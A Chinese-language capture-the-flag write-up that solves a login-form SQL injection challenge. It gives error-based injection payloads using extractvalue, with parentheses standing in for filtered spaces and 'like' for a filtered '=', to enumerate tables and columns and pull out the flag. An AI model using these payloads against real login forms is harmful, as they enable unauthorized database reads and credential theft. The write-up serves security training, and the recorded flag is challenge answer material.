
进来是一个表单,输入用户名和密码后跳转到一个另一个页面发现注入点
1
| /check.php?username=1&password=1
|
传个单引号发现有报错
1
| check.php?username='&password=1
|

我们这下面的payload就都注入到username中了
这可以判断是单引号闭合的了,把单引号闭合后后面加一个中文单引号可以看到执行语句
1
| check.php?username='’&password=1
|

大概后端执行语句是这样
1
| select * from table where username='1' and password='1'
|
在这里空格是被过滤了的,*也被过滤了,所以/**/也是用不了的,这里我们使用()绕过
这里试试两个or

这直接登录成功了,但是没有什么东西,再试试0的发现是另一种结果

这很容易想到布尔盲注,但是结果测试发现substr和substring和mid都被过滤了,当我觉得无从下手时,突然想到这个题目是有报错的,这个情况也可以用报错注入
传参
1
| admin'or(select(extractvalue(1,concat('~',(select(database()))))))or'
|

回显成功,这里=也被过滤了,用like代替
查表格
1 2 3 4 5 6 7
| admin'or(select(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))))))or'1
响应:
Error!
XPATH syntax error: '~H4rDsq1'
|
得到表格H4rDsq1
只有一个表格也不需要指定表格了,查列名
1 2 3 4 5 6 7
| admin'or(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database())))))))or'1
响应:
Error!
XPATH syntax error: '~id,username,password'
|
提取flag
1 2 3 4 5 6 7
| admin'or(select(extractvalue(1,concat('~',(select(group_concat(id,username,password))from(H4rDsq1))))))or'1
响应:
rror!
XPATH syntax error: '~1flagflag{59ef4fcc-446f-47ee-92'
|
因为mysql中错误消息的长度限制时32字符,这里采用right把后面的字符带出来
1 2 3 4 5 6 7
| admin'or(select(extractvalue(1,concat('~',(select(right(group_concat(id,username,password),30))from(H4rDsq1))))))or'1
响应:
Error!
XPATH syntax error: '~c-446f-47ee-9211-7e5b754fb874}'
|
找到与前面对接的一段拼接得到flag
1
| flag{59ef4fcc-446f-47ee-9211-7e5b754fb874}
|